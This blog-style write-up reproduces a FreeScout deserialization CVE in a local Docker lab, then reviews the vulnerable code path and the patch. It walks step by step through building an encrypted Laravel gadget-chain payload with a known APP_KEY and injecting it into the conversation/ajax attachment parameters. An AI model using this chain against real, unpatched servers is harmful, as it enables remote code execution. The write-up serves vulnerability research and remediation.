Analyzing CVE-2025-54366 - RCE via Deserialization of untrusted data

Originally posted on my github

Summary

Recently, a new CVE-2025-54366 was disclosed in freescout - a free self-hosted help desk & shared mailbox. This vulnerability involves using APP_KEY to craft a PHP serialized payload that will fire when it reaches Helper::decrypt function used in conversation flow. You can read more about APP_KEY and its exploitation at exploiting-public-app_key-leaks and at laravel-appkey-leakage-analysis. Below is my attempt at reproducing the CVE and my analysis of it in detail.

Setup

In order to setup a vulnerable instance of freescout I used below docker-compose file. This is a slightly modified version of this file. I have updated the image ports and SITE_URL variables, keeping rest the same.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
version: '2'

services:
freescout-app:
image: tiredofit/freescout:php8.3-1.17.122
container_name: freescout-app
ports:
- 9100:80
links:
- freescout-db
volumes:
### If you want to perform customizations to the source and have access to it, then uncomment this line - This includes modules
#- ./data:/www/html
### Or, if you just want to use Stock Freescout and hold onto persistent files like cache and session use this, one or the other.
- ./data:/data
### If you want to just keep the original source and add additional modules uncomment this line
#- ./modules:/www/html/Modules
- ./logs/:/www/logs
environment:
- CONTAINER_NAME=freescout-app

- DB_HOST=freescout-db
- DB_NAME=freescout
- DB_USER=freescout
- DB_PASS=freescout

- SITE_URL=http://localhost:9100
- ADMIN_EMAIL=admin@admin.com
- ADMIN_PASS=freescout
- ENABLE_SSL_PROXY=FALSE
- DISPLAY_ERRORS=FALSE
- TIMEZONE=America/Vancouver
restart: always

freescout-db:
image: tiredofit/mariadb
container_name: freescout-db
volumes:
- ./db:/var/lib/mysql
environment:
- ROOT_PASS=password
- DB_NAME=freescout
- DB_USER=freescout
- DB_PASS=freescout

- CONTAINER_NAME=freescout-db
restart: always

freescout-db-backup:
container_name: freescout-db-backup
image: tiredofit/db-backup
links:
- freescout-db
volumes:
- ./dbbackup:/backup
environment:
- CONTAINER_NAME=freescout-db-backup
- DB_HOST=freescout-db
- DB_TYPE=mariadb
- DB_NAME=freescout
- DB_USER=freescout
- DB_PASS=freescout
- DB01_BACKUP_INTERVAL=1440
- DB01_BACKUP_BEGIN=0000
- DB_CLEANUP_TIME=8640
- COMPRESSION=BZ
- MD5=TRUE
restart: always

Place the above file in your working directory and use below command to spin up instance of the freescout

1
docker compose up -d

The freescout portal will be available at http://localhost:9100/. For ease of exploitation you can proxy this to Burp Suite or any proxy of your choice. Login with credentials setup in the ADMIN_EMAIL and ADMIN_PASS variable in the docker-compose.yaml file.

Steps to Reproduce the CVE

  1. We need to setup a few thing to reproduce the vulnerability and craft our RCE exploit. First, download and install laravel-crypto-killer and phpggc
  2. As mentioned in the advisory we need APP_KEY and a user account to exploit this issue. In a real world scenario you would need another vulnerability like LFI to access the .env file. For now we will just use the APP_KEY from our docker instance as shown below.
1
2
3
4
5
6
7
/www/html # cat .env 
#### Automatically Generated File - Upon container restart any settings will reset!
APP_URL=http://localhost:9100
SESSION_SECURE_COOKIE=false
APP_DEBUG=false
APP_KEY=base64:ZT6QMwgEO3PqeX/J3s2QmtR7bcmAi027xSW9bnHWPk8=
DB_CONNECTION=mysql
  1. Next we also need to know the Laravel version used by freescout. We use following command to do that.
1
2
/www/html # php artisan --version
Laravel Framework 5.5.40
  1. Now we use phpggc to check for gadgets specific to our Laravel version as shown below.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
php8.3 phpggc -l laravel

Gadget Chains
-------------

NAME VERSION TYPE VECTOR I
Laravel/FD1 * File delete __destruct *
Laravel/RCE1 5.4.27 RCE: Function Call __destruct
Laravel/RCE2 5.4.0 <= 8.6.9+ RCE: Function Call __destruct
Laravel/RCE3 5.5.0 <= 5.8.35 RCE: Function Call __destruct *
Laravel/RCE4 5.4.0 <= 8.6.9+ RCE: Function Call __destruct
Laravel/RCE5 5.8.30 RCE: PHP Code __destruct *
Laravel/RCE6 5.5.* <= 5.8.35 RCE: PHP Code __destruct *
Laravel/RCE7 ? <= 8.16.1 RCE: Function Call __destruct *
Laravel/RCE8 7.0.0 <= 8.6.9+ RCE: Function Call __destruct *
Laravel/RCE9 5.4.0 <= 9.1.8+ RCE: Function Call __destruct
Laravel/RCE10 5.6.0 <= 9.1.8+ RCE: Function Call __toString
Laravel/RCE11 5.4.0 <= 9.1.8+ RCE: Function Call __destruct
Laravel/RCE12 5.8.35, 7.0.0, 9.3.10 RCE: Function Call __destruct *
Laravel/RCE13 5.3.0 <= 9.5.1+ RCE: Function Call __destruct *
Laravel/RCE14 5.3.0 <= 9.5.1+ RCE: Function Call __destruct
Laravel/RCE15 5.5.0 <= v9.5.1+ RCE: Function Call __destruct
Laravel/RCE16 5.6.0 <= v9.5.1+ RCE: Function Call __destruct
Laravel/RCE17 10.31.0 RCE: Function Call __destruct
Laravel/RCE18 10.31.0 RCE: PHP Code __destruct *
Laravel/RCE19 10.34 RCE: Command __destruct
Laravel/RCE20 5.6 <= 10.x RCE: Function Call __destruct
Laravel/RCE21 5.1.* RCE: Function Call __destruct
Laravel/RCE22 v10.0.0 <= v11.34.2+ RCE: Function Call __destruct

  1. We can use Laravel/RCE4 as that matches our version of Laravel. Next we create our payload using following command. Once run it will create a file named rce in /tmp/ directory. -b option encodes our payload into base64 format.
1
2
php8.3 phpggc Laravel/RCE4 system "touch /tmp/rce" -b
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MzE6IklsbHVtaW5hdGVcVmFsaWRhdGlvblxWYWxpZGF0b3IiOjE6e3M6MTA6ImV4dGVuc2lvbnMiO2E6MTp7czowOiIiO3M6Njoic3lzdGVtIjt9fXM6ODoiACoAZXZlbnQiO3M6MTQ6InRvdWNoIC90bXAvcmNlIjt9
  1. Next we need to encrypt this payload using laravel-crypto-killer tool as shown below using the APP_KEY. This is our final payload.
1
2
3
4
5
python laravel_crypto_killer.py encrypt -k base64:ZT6QMwgEO3PqeX/J3s2QmtR7bcmAi027xSW9bnHWPk8= -v Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MzE6IklsbHVtaW5hdGVcVmFsaWRhdGlvblxWYWxpZGF0b3IiOjE6e3M6MTA6ImV4dGVuc2lvbnMiO2E6MTp7czowOiIiO3M6Njoic3lzdGVtIjt9fXM6ODoiACoAZXZlbnQiO3M6MTQ6InRvdWNoIC90bXAvcmNlIjt9

[+] Here is your laravel ciphered value, happy hacking mate!
eyJpdiI6ICJQVmczZ09janUweEFHWVpjRWc3bkhRPT0iLCAidmFsdWUiOiAiSmg3N00wNHVjT1NabmdBdFlOZ0RKVVcyMlIwUUp3ZTMyT09qbE5iKzV1Y1hXZTU3RHcwSmdaUWZVN2RhQUt3cHlYc0tON1ZJOE5PRUVFWjB5MGk1b2N6QlBRNzZJanlZclQ3K1JrVlBpNTUyd1NMeUg5NmRzNll3cDJ0Q3lFdzhsVENjYkN6RWViNGVhMHE5THNxdmFvc1dCYTBQb3gvYis4YVpnZEJaWkR5TGwyWGtwSGM2N3R0QmFhTXlmMEIvd09MQ3pPakNBUU56MlNpMVZZTEhLRGZjdjVWeWJ0dmMycTlNbkZlQzlYWTdwTkhqYi9md0NmUDRDekRybkIwNUlkSzczM3VXclFNMklGRnVlT1lTQkE9PSIsICJtYWMiOiAiMmY2ZGEyYzJmY2IwYTBiMjI5ZTdmNDUwMzQ5NTU5Y2NlYmJlYzY3NzgzMmUzMDFjY2M0ZmQyMGJmODBkY2RmNiIsICJ0YWciOiAiIn0=

  1. Based the PoC request in the CVE advisory, the vulnerable endpoint is conversation/ajax. To reach there we need create our first mailbox. When we login for the first time it walks us through the creation of mailbox. This also creates an email ID for e.g. support@localhost.com which we will use.
  2. Next we create conversation with the with any email ID. We will use the one created in the above step. It can be done by visiting the http://localhost:9100/mailbox/1/new-ticket endpoint or from the side menu. Enter the To and Subject and anything in the body similar to below screenshot.

new-convo

  1. Now access the conversation as shown below.

access-convo

  1. Here is a slightly tricky part. Now reply to this conversation with an any attachment. Once you reach the point 3 as shown in below image, we need to have the intercept on in the Burp Suite proxy to capture the request on point 4. Otherwise the request goes through in the background and we do not get the initial request we need to exploit the RCE. This is the request that will give us the vulnerable parameters attachments_all[] and attachments[] on conversation/ajax endpoint.

attachment-req

  1. Once you capture the request send it to repeater using Ctrl+r shortcut. Below is the original request with the parameters we need for our payload.

original-req

  1. Next we update the highlighted parameters with the final payload we created earlier as shown below. Ensure the payload is URL encoded if needed and send the request. Its the case for me as my final payload has a trailing =. Once done you will something like below as sign of successful exploitation.

edited-req

  1. Next we verify that the file was created in our docker instance as shown below confirming remote code execution.
1
2
3
4
/ # ls -l /tmp/
total 0
-rw-r--r-- 1 nginx www-data 0 Jul 29 22:32 rce
/ #

Code Review

Lets dive into some code and understand the flow of the request. Here is a quick walkthrough of how user provided input ends up in the unserialize function without any validation resulting in to RCE.

This is where you can take help of AI to speed up your process. I added the code to VScode and ask the copilot to help me this.

  1. HTTP Request Entry Point - This is our vulnerable request and parameter as seen above.
1
2
POST /conversation/ajax
Parameters: attachments_all[] and attachments[]
  1. Route Processing (routes/web.php:65) - Next freescout will route this request to ConversationsController as shown below.
1
Route::post('/conversation/ajax', ['uses' => 'ConversationsController@ajax', 'laroute' => true])
  1. Controller Entry (ConversationsController.php:571) - This is where type of action is checked, which in our case is send_reply.
1
2
3
4
5
public function ajax(Request $request) {
// ...
switch ($request->action) {
case 'send_reply':
// Process the request
  1. Attachment Processing (ConversationsController.php:851) - If attachments are found those gets passed to processReplyAttachments function for further processing.
1
2
3
// Get attachments info
// Delete removed attachments.
$attachments_info = $this->processReplyAttachments($request);
  1. The Vulnerable Function (ConversationsController.php:3134) - Here is the vulnerable call to decodeAttachmentsIds that processes our input from attachments_all and attachments parameters.
1
2
3
4
5
6
7
8
9
10
11
12
public function processReplyAttachments($request) {
$has_attachments = false;
$attachments = [];
if (!empty($request->attachments_all)) {
$embeds = [];
$attachments_all = $this->decodeAttachmentsIds($request->attachments_all); // ← VULNERABLE CALL
if (!empty($request->attachments)) {
$attachments = $this->decodeAttachmentsIds($request->attachments); // ← VULNERABLE CALL
}
// ...
}
}
  1. The Critical Vulnerability (ConversationsController.php:3162) - This is the \Helper::decrypt function that decrypt the attachment_id as mentioned in the advisory.
1
2
3
4
5
6
7
8
9
10
11
public function decodeAttachmentsIds($attachments_list) {
foreach ($attachments_list as $i => $attachment_id) {
$attachment_id_decrypted = \Helper::decrypt($attachment_id); // ← DESERIALIZATION HELPER
if ($attachment_id_decrypted == $attachment_id) {
unset($attachments_list[$i]);
} else {
$attachments_list[$i] = $attachment_id_decrypted;
}
}
return $attachments_list;
}
  1. The Vulnerable Decrypt Function (Helper.php:892) - This is where the unsafe deserialization happens.
1
2
3
4
5
6
7
8
9
10
public static function decrypt($value, $password = null, $unserialize = false)
{
try {
if (!$password) {
$value = app('encrypter')->decrypt($value, $unserialize); // DESERIALIZATION HAPPENS HERE
} else {
$value = (new \Illuminate\Encryption\Encrypter(md5($password)))->decrypt($value, $unserialize); // DESERIALIZATION HAPPENS HERE
}
} catch (\Exception $e) {

As you may have noticed there is no input validation or any sort of checks done on the attachment_id parameter to avoid unsafe deserialization.

Fix for the vulnerability

Lets look at the fix that has been implemented now. Here is the link to the diff from their github e2de65f3f32f825b4ec5558643ed81438c9a6bc6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static function decrypt($value, $password = null, $force_unserialize = false)
{
try {
if (!$password) {
$value = app('encrypter')->decrypt($value, false);
} else {
$value = (new \Illuminate\Encryption\Encrypter(md5($password)))->decrypt($value, false);
}

// If the value is scalar - unserialize it,
// Otherwise - do not, as objects may contain dangerous code.
if (!preg_match("^[dsa]:", $value) || $force_unserialize) {
$value = unserialize($value);
}
} catch (\Exception $e) {
  • unserialize has been replaced with force_unserialize and set to false to not allow deserialization by default.
  • false parameter has been added to line 5 and 7 to decrypt call
  • Next lines have a regex check for $value which check if its starts with d or s or a which represents below types
    d: - serialized double/float
    s: - serialized string
    a: - serialized array
    It is missing two other types, i.e.
    i: - serialized integer
    O: - serialized object
  • If it starts with these 3 values it is supposed to serialize them but due to presence of ! negation on preg_match it wont. This is still a bit of work in progress code as I understand it. The latest docker image and release 1.8.190 has the following code
1
if (preg_match("#^[idsa]:#", $value) || $force_unserialize) {
  • This one allows any value that start with either of idsa and not objects as those could be our malicious payload.
  • This fix itself is not a great one. If someone manages to create an exploit based on serialized array instead of object. The value would look similar to a:1:{s:4:"data";O:9:"SomeClass":1:{...}}. The preg_match condition will now pass allowing deserialization of our payload leading to RCE again.

Here are the recommended fixes

  1. Removing unsafe unserialize() calls if possible
  2. Using JSON instead of PHP serialization or using json encode/decode to safely create objects instead of trusting user inputs
  3. Adding HMAC integrity validation
  4. Implementing strict input validation - regex is one of the but you need to be very careful on how its implemented as situation like above can happen.

Exposure on the Web

There are some 6K+ instances of freescout visible on fofa. Some of the are likely to be vulnerable if not updated since the disclosure.

fofa

Similarly on Shodan we see some 1K instances.

shodan

Since this exploit requires knowledge of APP_KEY as well having an authenticated user session, the exploitability/likelihood reduces quite a bit. None the less, better patch than be sorry 😊

References

OWASP - Deserialization_Cheat_Sheet
OWASP - php deserialization fix
GitHub diff - e2de65f3f32f825b4ec5558643ed81438c9a6bc6
GitHub Advisory - GHSA-vcc2-6r66-gvvj
GitHub Repo - laravel-crypto-killer
GitHub Repo - phpggc
GitGuardian Blog exploiting-public-app_key-leaks
Synacktiv Blog laravel-appkey-leakage-analysis